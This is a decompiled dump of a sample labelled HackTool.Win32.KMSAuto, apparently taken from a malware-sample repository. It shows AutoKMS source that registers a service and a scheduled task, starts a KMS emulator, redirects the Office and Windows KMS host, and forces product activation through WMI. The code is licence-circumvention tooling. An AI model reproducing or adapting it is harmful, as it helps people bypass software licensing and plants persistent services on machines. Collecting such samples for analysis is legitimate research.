auto-decompiled msil via petikvx

add

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/AssemblyInfo.cs

@@ -0,0 +1,13 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyFileVersion("2.1.6.0")]
+[assembly: Guid("58acc958-754c-480c-9c3b-77a6573ae75e")]
+[assembly: AssemblyTitle("AutoKMS")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyProduct("AutoKMS")]
+[assembly: AssemblyCopyright("CODYQX4 & Bosh")]
+[assembly: AssemblyTrademark("")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/AutoKMS/AutoKMS.cs

@@ -0,0 +1,381 @@
+// Decompiled with JetBrains decompiler
+// Type: AutoKMS.AutoKMS
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using Office_2010_Toolkit;
+using Office_2010_Toolkit.Configuration;
+using Office_2010_Toolkit.Logic;
+using System;
+using System.IO;
+using System.Management;
+using System.ServiceProcess;
+
+namespace AutoKMS
+{
+  internal class AutoKMS
+  {
+    private StreamWriter log;
+    private string logWrite;
+    public static bool AutoKMSServiceEnabled;
+
+    public void RunAutoKMS()
+    {
+      AutoKMS.AutoKMS.AutoKMSServiceEnabled = Common.IsAutoKMSServiceInstalled();
+      if (AutoKMS.AutoKMS.AutoKMSServiceEnabled)
+      {
+        ServiceController serviceController = new ServiceController();
+        serviceController.ServiceName = nameof (AutoKMS);
+        if (serviceController.Status.ToString().ToLower() == "stopped")
+          serviceController.Start();
+      }
+      this.log = !Settings.AutoKMSSettings.Logging ? new StreamWriter(Directory.GetCurrentDirectory() + "\\AutoKMS.tmp", true) : new StreamWriter(Directory.GetCurrentDirectory() + "\\AutoKMS.log", true);
+      this.logWrite = "------------------------------------";
+      this.log.WriteLine(this.logWrite);
+      this.logWrite = "AutoKMS Ran At " + (object) DateTime.Now + ".";
+      this.log.WriteLine(this.logWrite);
+      if (Settings.AutoKMSSettings.UseKMSEmulator)
+      {
+        if (!AutoKMS.AutoKMS.AutoKMSServiceEnabled)
+        {
+          try
+          {
+            Activation.StartKMSEmulator();
+            this.logWrite = "Started KMSEmulator.exe";
+            this.log.WriteLine(this.logWrite);
+            if (Settings.AutoKMSSettings.KMSPID != string.Empty)
+            {
+              if (Common.isValidPID(Settings.AutoKMSSettings.KMSPID))
+              {
+                KMSEditor.WritePIDToMemory(Settings.AutoKMSSettings.KMSPID);
+                this.logWrite = "Changed KMS PID To: " + Settings.AutoKMSSettings.KMSPID;
+                this.log.WriteLine(this.logWrite);
+              }
+              else
+              {
+                Settings.AutoKMSSettings.KMSPID = string.Empty;
+                Settings.MakeNewAutoKMSINIFile();
+              }
+            }
+          }
+          catch (Exception ex)
+          {
+            this.logWrite = "Failed To Copy Or Start KMSEmulator.exe";
+            this.log.WriteLine(this.logWrite);
+            this.log.Close();
+            return;
+          }
+        }
+      }
+      this.logWrite = "Attempting To Activate Office 2010." + Environment.NewLine;
+      this.log.Write(this.logWrite);
+      if (!Common.OfficeInstalled)
+      {
+        this.logWrite = "Office 2010 Is Not Installed!" + Environment.NewLine;
+        this.log.Write(this.logWrite);
+      }
+      else
+      {
+        this.logWrite = "Checking Installed Office KMS Products.";
+        Common.GetLicConfigStatus();
+        if (Common.AccessVLLicenseInstalled)
+          this.logWrite = this.logWrite + Environment.NewLine + "Access KMS Installed.";
+        if (Common.ExcelVLLicenseInstalled)
+          this.logWrite = this.logWrite + Environment.NewLine + "Excel KMS Installed.";
+        if (Common.GrooveVLLicenseInstalled)
+          this.logWrite = this.logWrite + Environment.NewLine + "SharePoint Workspace KMS Installed.";
+        if (Common.InfoPathVLLicenseInstalled)
+          this.logWrite = this.logWrite + Environment.NewLine + "InfoPath KMS Installed.";
+        if (Common.OneNoteVLLicenseInstalled)
+          this.logWrite = this.logWrite + Environment.NewLine + "OneNote KMS Installed.";
+        if (Common.OutlookVLLicenseInstalled)
+          this.logWrite = this.logWrite + Environment.NewLine + "Outlook KMS Installed.";
+        if (Common.PowerPointVLLicenseInstalled)
+          this.logWrite = this.logWrite + Environment.NewLine + "PowerPoint KMS Installed.";
+        if (Common.ProjectProVLLicenseInstalled)
+          this.logWrite = this.logWrite + Environment.NewLine + "Project Professional KMS Installed.";
+        if (Common.ProjectStdVLLicenseInstalled)
+          this.logWrite = this.logWrite + Environment.NewLine + "Project Standard KMS Installed.";
+        if (Common.ProPlusVLLicenseInstalled)
+          this.logWrite = this.logWrite + Environment.NewLine + "Professional Plus KMS Installed.";
+        if (Common.PublisherVLLicenseInstalled)
+          this.logWrite = this.logWrite + Environment.NewLine + "Publisher KMS Installed.";
+        if (Common.SmallBusBasicsVLLicenseInstalled)
+          this.logWrite = this.logWrite + Environment.NewLine + "Small Business Basics KMS Installed.";
+        if (Common.StandardVLLicenseInstalled)
+          this.logWrite = this.logWrite + Environment.NewLine + "Standard KMS Installed.";
+        if (Common.VisioPremVLLicenseInstalled)
+          this.logWrite = this.logWrite + Environment.NewLine + "Visio Premium KMS Installed.";
+        if (Common.VisioProVLLicenseInstalled)
+          this.logWrite = this.logWrite + Environment.NewLine + "Visio Professional KMS Installed.";
+        if (Common.VisioStdVLLicenseInstalled)
+          this.logWrite = this.logWrite + Environment.NewLine + "Visio Standard KMS Installed.";
+        if (Common.WordVLLicenseInstalled)
+          this.logWrite = this.logWrite + Environment.NewLine + "Word KMS Installed.";
+        this.log.WriteLine(this.logWrite);
+        if (!AutoKMS.AutoKMS.AutoKMSServiceEnabled)
+        {
+          try
+          {
+            Activation.SetKMSHost();
+            this.logWrite = "Successfully Set Office KMS Host To " + Settings.AutoKMSSettings.KMSServer;
+          }
+          catch (Exception ex)
+          {
+            this.logWrite = "Failed To Set Office KMS Host To " + Settings.AutoKMSSettings.KMSServer;
+          }
+          this.log.WriteLine(this.logWrite);
+        }
+        if (Common.AccessVLLicenseInstalled)
+        {
+          this.logWrite = "Attempting To Activate Access.";
+          this.ActivateKMS("8ce7e872-188c-4b98-9d90-f8f90b7aad02");
+          this.log.WriteLine(this.logWrite);
+        }
+        if (Common.ExcelVLLicenseInstalled)
+        {
+          this.logWrite = "Attempting To Activate Excel.";
+          this.ActivateKMS("cee5d470-6e3b-4fcc-8c2b-d17428568a9f");
+          this.log.WriteLine(this.logWrite);
+        }
+        if (Common.GrooveVLLicenseInstalled)
+        {
+          this.logWrite = "Attempting To Activate SharePoint Workspace.";
+          this.ActivateKMS("8947d0b8-c33b-43e1-8c56-9b674c052832");
+          this.log.WriteLine(this.logWrite);
+        }
+        if (Common.InfoPathVLLicenseInstalled)
+        {
+          this.logWrite = "Attempting To Activate InfoPath.";
+          this.ActivateKMS("ca6b6639-4ad6-40ae-a575-14dee07f6430");
+          this.log.WriteLine(this.logWrite);
+        }
+        if (Common.OneNoteVLLicenseInstalled)
+        {
+          this.logWrite = "Attempting To Activate OneNote.";
+          this.ActivateKMS("ab586f5c-5256-4632-962f-fefd8b49e6f4");
+          this.log.WriteLine(this.logWrite);
+        }
+        if (Common.OutlookVLLicenseInstalled)
+        {
+          this.logWrite = "Attempting To Activate Outlook.";
+          this.ActivateKMS("ecb7c192-73ab-4ded-acf4-2399b095d0cc");
+          this.log.WriteLine(this.logWrite);
+        }
+        if (Common.PowerPointVLLicenseInstalled)
+        {
+          this.logWrite = "Attempting To Activate PowerPoint.";
+          this.ActivateKMS("45593b1d-dfb1-4e91-bbfb-2d5d0ce2227a");
+          this.log.WriteLine(this.logWrite);
+        }
+        if (Common.ProjectProVLLicenseInstalled)
+        {
+          this.logWrite = "Attempting To Activate Project Professional.";
+          this.ActivateKMS("df133ff7-bf14-4f95-afe3-7b48e7e331ef");
+          this.log.WriteLine(this.logWrite);
+        }
+        if (Common.ProjectStdVLLicenseInstalled)
+        {
+          this.logWrite = "Attempting To Activate Project Standard.";
+          this.ActivateKMS("5dc7bf61-5ec9-4996-9ccb-df806a2d0efe");
+          this.log.WriteLine(this.logWrite);
+        }
+        if (Common.ProPlusVLLicenseInstalled)
+        {
+          this.logWrite = "Attempting To Activate Professional Plus.";
+          this.ActivateKMS("6f327760-8c5c-417c-9b61-836a98287e0c");
+          this.log.WriteLine(this.logWrite);
+        }
+        if (Common.PublisherVLLicenseInstalled)
+        {
+          this.logWrite = "Attempting To Activate Publisher.";
+          this.ActivateKMS("b50c4f75-599b-43e8-8dcd-1081a7967241");
+          this.log.WriteLine(this.logWrite);
+        }
+        if (Common.SmallBusBasicsVLLicenseInstalled)
+        {
+          this.logWrite = "Attempting To Activate Small Business Basics.";
+          this.ActivateKMS("ea509e87-07a1-4a45-9edc-eba5a39f36af");
+          this.log.WriteLine(this.logWrite);
+        }
+        if (Common.StandardVLLicenseInstalled)
+        {
+          this.logWrite = "Attempting To Activate Standard.";
+          this.ActivateKMS("9da2a678-fb6b-4e67-ab84-60dd6a9c819a");
+          this.log.WriteLine(this.logWrite);
+        }
+        if (Common.VisioPremVLLicenseInstalled)
+        {
+          this.logWrite = "Attempting To Activate Visio Premium.";
+          this.ActivateKMS("92236105-bb67-494f-94c7-7f7a607929bd");
+          this.log.WriteLine(this.logWrite);
+        }
+        if (Common.VisioProVLLicenseInstalled)
+        {
+          this.logWrite = "Attempting To Activate Visio Professional.";
+          this.ActivateKMS("e558389c-83c3-4b29-adfe-5e4d7f46c358");
+          this.log.WriteLine(this.logWrite);
+        }
+        if (Common.VisioStdVLLicenseInstalled)
+        {
+          this.logWrite = "Attempting To Activate Visio Standard.";
+          this.ActivateKMS("9ed833ff-4f92-4f36-b370-8683a4f13275");
+          this.log.WriteLine(this.logWrite);
+        }
+        if (Common.WordVLLicenseInstalled)
+        {
+          this.logWrite = "Attempting To Activate Word.";
+          this.ActivateKMS("2d0882e7-a4e7-423b-8ccc-70d91e0158b1");
+          this.log.WriteLine(this.logWrite);
+        }
+        if (Settings.AutoKMSSettings.AutoRemoveKMSHost)
+        {
+          if (!AutoKMS.AutoKMS.AutoKMSServiceEnabled)
+          {
+            try
+            {
+              Activation.RemoveKMSHost();
+              this.logWrite = "Removed Office KMS Host Registry Entry.";
+            }
+            catch (Exception ex)
+            {
+              this.logWrite = "Failed To Remove Office KMS Host Registry Entry.";
+            }
+            this.log.WriteLine(this.logWrite);
+          }
+        }
+      }
+      if (Settings.AutoKMSSettings.ActivateWindows)
+      {
+        this.logWrite = "Attempting To Activate Windows.";
+        this.log.WriteLine(this.logWrite);
+        this.ActivateKMSWindows();
+      }
+      if (Settings.AutoKMSSettings.UseKMSEmulator)
+      {
+        if (!AutoKMS.AutoKMS.AutoKMSServiceEnabled)
+        {
+          try
+          {
+            Activation.StopKMSEmulator();
+            this.logWrite = "Stopped KMSEmulator.";
+          }
+          catch (Exception ex)
+          {
+            this.logWrite = "Failed To Stop KMSEmulator.";
+          }
+          this.log.WriteLine(this.logWrite);
+        }
+      }
+      this.log.Close();
+      if (!Settings.AutoKMSSettings.Logging)
+        Common.FileDelete(Directory.GetCurrentDirectory() + "\\AutoKMS.tmp");
+      if (Common.IsAutoKMSCustomTaskInstalled())
+        return;
+      Activation.DeleteAutoKMSNormalTask();
+      Activation.MakeAutoKMSNormalTask(Directory.GetCurrentDirectory());
+    }
+
+    public bool ActivateKMS(string SKUID)
+    {
+      int num = 1;
+      bool flag = false;
+      ManagementObject managementObject = new ManagementObject("root\\CIMV2", "OfficeSoftwareProtectionProduct.ID='" + SKUID + "'", (ObjectGetOptions) null);
+      while (num < Settings.AutoKMSSettings.ActAttempts + 1)
+      {
+        if (!flag)
+        {
+          try
+          {
+            managementObject.InvokeMethod("Activate", (ManagementBaseObject) null, (InvokeMethodOptions) null);
+            flag = true;
+          }
+          catch (Exception ex)
+          {
+            ++num;
+          }
+        }
+        else
+          break;
+      }
+      if (!flag)
+      {
+        this.logWrite = this.logWrite + Environment.NewLine + "Failed To Activate " + (object) Settings.AutoKMSSettings.ActAttempts + " Times.";
+        return false;
+      }
+      this.logWrite = this.logWrite + Environment.NewLine + "Successfully activated after " + (object) num + " attempts.";
+      return true;
+    }
+
+    public void ActivateKMSWindows()
+    {
+      if (!AutoKMS.AutoKMS.AutoKMSServiceEnabled)
+      {
+        try
+        {
+          Activation.SetKMSHostWindows();
+          this.logWrite = "Set Windows KMS Host";
+          this.log.WriteLine(this.logWrite);
+        }
+        catch (Exception ex)
+        {
+          this.logWrite = "Failed To Set Windows KMS Host! Maybe this version of Windows isn't supported?";
+          this.log.WriteLine(this.logWrite);
+        }
+      }
+      string empty = string.Empty;
+      try
+      {
+        foreach (ManagementObject managementObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM SoftwareLicensingProduct").Get())
+        {
+          empty = Convert.ToString(managementObject["ID"]);
+          if (Convert.ToInt32(managementObject["LicenseStatus"]) != 0)
+            break;
+        }
+      }
+      catch (Exception ex)
+      {
+        this.logWrite = "Failed To Query Windows License Status! Maybe this version of Windows isn't supported?";
+        this.log.WriteLine(this.logWrite);
+      }
+      int num = 1;
+      bool flag = false;
+      ManagementObject managementObject1 = new ManagementObject("root\\CIMV2", "SoftwareLicensingProduct.ID='" + empty + "'", (ObjectGetOptions) null);
+      while (num < Settings.AutoKMSSettings.ActAttempts + 1)
+      {
+        if (!flag)
+        {
+          try
+          {
+            managementObject1.InvokeMethod("Activate", (ManagementBaseObject) null, (InvokeMethodOptions) null);
+            flag = true;
+          }
+          catch (Exception ex)
+          {
+            ++num;
+          }
+        }
+        else
+          break;
+      }
+      this.logWrite = flag ? "Successfully activated after " + (object) num + " attempts." : "Failed To Activate " + (object) Settings.AutoKMSSettings.ActAttempts + " Times.";
+      this.log.WriteLine(this.logWrite);
+      if (!Settings.AutoKMSSettings.AutoRemoveKMSHost)
+        return;
+      if (AutoKMS.AutoKMS.AutoKMSServiceEnabled)
+        return;
+      try
+      {
+        Activation.RemoveKMSHostWindows();
+        this.logWrite = "Removed Windows KMS Host";
+        this.log.WriteLine(this.logWrite);
+      }
+      catch (Exception ex)
+      {
+        this.logWrite = "Failed To Remove Windows KMS Host! Maybe this version of Windows isn't supported?";
+        this.log.WriteLine(this.logWrite);
+      }
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/AutoKMS/AutoKMSService.cs

@@ -0,0 +1,79 @@
+// Decompiled with JetBrains decompiler
+// Type: AutoKMS.AutoKMSService
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using Office_2010_Toolkit;
+using Office_2010_Toolkit.Configuration;
+using Office_2010_Toolkit.Logic;
+using System;
+using System.ComponentModel;
+using System.ServiceProcess;
+
+namespace AutoKMS
+{
+  internal class AutoKMSService : ServiceBase
+  {
+    private IContainer components;
+    private BackgroundWorker workerStart;
+    public static bool WindowsKMSSet = true;
+    public static bool OfficeKMSSet = true;
+
+    protected override void Dispose(bool disposing)
+    {
+      if (disposing && this.components != null)
+        this.components.Dispose();
+      base.Dispose(disposing);
+    }
+
+    private void InitializeComponent()
+    {
+      this.workerStart = new BackgroundWorker();
+      this.workerStart.DoWork += new DoWorkEventHandler(this.workerStart_DoWork);
+      this.workerStart.RunWorkerCompleted += new RunWorkerCompletedEventHandler(this.workerStart_RunWorkerCompleted);
+      this.ServiceName = "AutoKMS";
+    }
+
+    public AutoKMSService() => this.InitializeComponent();
+
+    protected override void OnStart(string[] args) => this.workerStart.RunWorkerAsync();
+
+    protected override void OnStop()
+    {
+      if (AutoKMSService.OfficeKMSSet)
+        Activation.RemoveKMSHost();
+      if (AutoKMSService.WindowsKMSSet)
+        Activation.RemoveKMSHostWindows();
+      Activation.StopKMSEmulator();
+    }
+
+    private void workerStart_DoWork(object sender, DoWorkEventArgs e)
+    {
+      try
+      {
+        Activation.SetKMSHost();
+      }
+      catch (Exception ex)
+      {
+        AutoKMSService.OfficeKMSSet = false;
+      }
+      try
+      {
+        Activation.SetKMSHostWindows();
+      }
+      catch (Exception ex)
+      {
+        AutoKMSService.WindowsKMSSet = false;
+      }
+      Activation.StartKMSEmulator();
+      if (!Common.isValidPID(Settings.AutoKMSSettings.KMSPID))
+        return;
+      KMSEditor.WritePIDToMemory(Settings.AutoKMSSettings.KMSPID);
+    }
+
+    private void workerStart_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)
+    {
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/AutoKMS/AutoKMSService.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/AutoKMS/Program.cs

@@ -0,0 +1,43 @@
+// Decompiled with JetBrains decompiler
+// Type: AutoKMS.Program
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using Office_2010_Toolkit;
+using Office_2010_Toolkit.Configuration;
+using Office_2010_Toolkit.Logic;
+using System;
+using System.IO;
+using System.ServiceProcess;
+using System.Windows.Forms;
+
+namespace AutoKMS
+{
+  internal static class Program
+  {
+    [STAThread]
+    private static void Main()
+    {
+      Common.OfficeCriticalVariablesCheck();
+      Directory.SetCurrentDirectory(Path.GetDirectoryName(Application.ExecutablePath));
+      Settings.GetSettingsAutoKMS();
+      string[] commandLineArgs = Environment.GetCommandLineArgs();
+      if (commandLineArgs.Length > 1)
+      {
+        if (!commandLineArgs[1].Equals("/Application", StringComparison.CurrentCultureIgnoreCase))
+          return;
+        new AutoKMS.AutoKMS().RunAutoKMS();
+      }
+      else
+      {
+        if (!Common.IsAutoKMSServiceInstalled())
+          Activation.MakeAutoKMSService(Environment.CurrentDirectory);
+        ServiceBase.Run(new ServiceBase[1]
+        {
+          (ServiceBase) new AutoKMSService()
+        });
+      }
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/AutoKMS/Properties/Resources.cs

@@ -0,0 +1,48 @@
+// Decompiled with JetBrains decompiler
+// Type: AutoKMS.Properties.Resources
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+
+namespace AutoKMS.Properties
+{
+  [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
+  [CompilerGenerated]
+  [DebuggerNonUserCode]
+  internal class Resources
+  {
+    private static ResourceManager resourceMan;
+    private static CultureInfo resourceCulture;
+
+    internal Resources()
+    {
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static ResourceManager ResourceManager
+    {
+      get
+      {
+        if (object.ReferenceEquals((object) AutoKMS.Properties.Resources.resourceMan, (object) null))
+          AutoKMS.Properties.Resources.resourceMan = new ResourceManager("AutoKMS.Properties.Resources", typeof (AutoKMS.Properties.Resources).Assembly);
+        return AutoKMS.Properties.Resources.resourceMan;
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static CultureInfo Culture
+    {
+      get => AutoKMS.Properties.Resources.resourceCulture;
+      set => AutoKMS.Properties.Resources.resourceCulture = value;
+    }
+
+    internal static byte[] Keygen => (byte[]) AutoKMS.Properties.Resources.ResourceManager.GetObject(nameof (Keygen), AutoKMS.Properties.Resources.resourceCulture);
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/AutoKMS/Properties/Settings.cs

@@ -0,0 +1,21 @@
+// Decompiled with JetBrains decompiler
+// Type: AutoKMS.Properties.Settings
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System.CodeDom.Compiler;
+using System.Configuration;
+using System.Runtime.CompilerServices;
+
+namespace AutoKMS.Properties
+{
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
+  [CompilerGenerated]
+  internal sealed class Settings : ApplicationSettingsBase
+  {
+    private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings());
+
+    public static Settings Default => Settings.defaultInstance;
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/HackTool.Win32.KMSAuto.i.csproj

@@ -0,0 +1,106 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{91CB1C5F-5AF8-4A91-A13B-6157536EDB08}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>AutoKMS</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Management" />
+    <Reference Include="System.ServiceProcess" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="TaskSchedulerInterop\HResult.cs" />
+    <Compile Include="TaskSchedulerInterop\TaskTriggerType.cs" />
+    <Compile Include="TaskSchedulerInterop\Daily.cs" />
+    <Compile Include="TaskSchedulerInterop\Weekly.cs" />
+    <Compile Include="TaskSchedulerInterop\MonthlyDate.cs" />
+    <Compile Include="TaskSchedulerInterop\MonthlyDOW.cs" />
+    <Compile Include="TaskSchedulerInterop\TriggerTypeData.cs" />
+    <Compile Include="TaskSchedulerInterop\TaskTrigger.cs" />
+    <Compile Include="TaskSchedulerInterop\SystemTime.cs" />
+    <Compile Include="TaskSchedulerInterop\PropSheetHeader.cs" />
+    <Compile Include="TaskSchedulerInterop\PropSheetFlags.cs" />
+    <Compile Include="TaskSchedulerInterop\PropertySheetDisplay.cs" />
+    <Compile Include="TaskSchedulerInterop\ITaskScheduler.cs" />
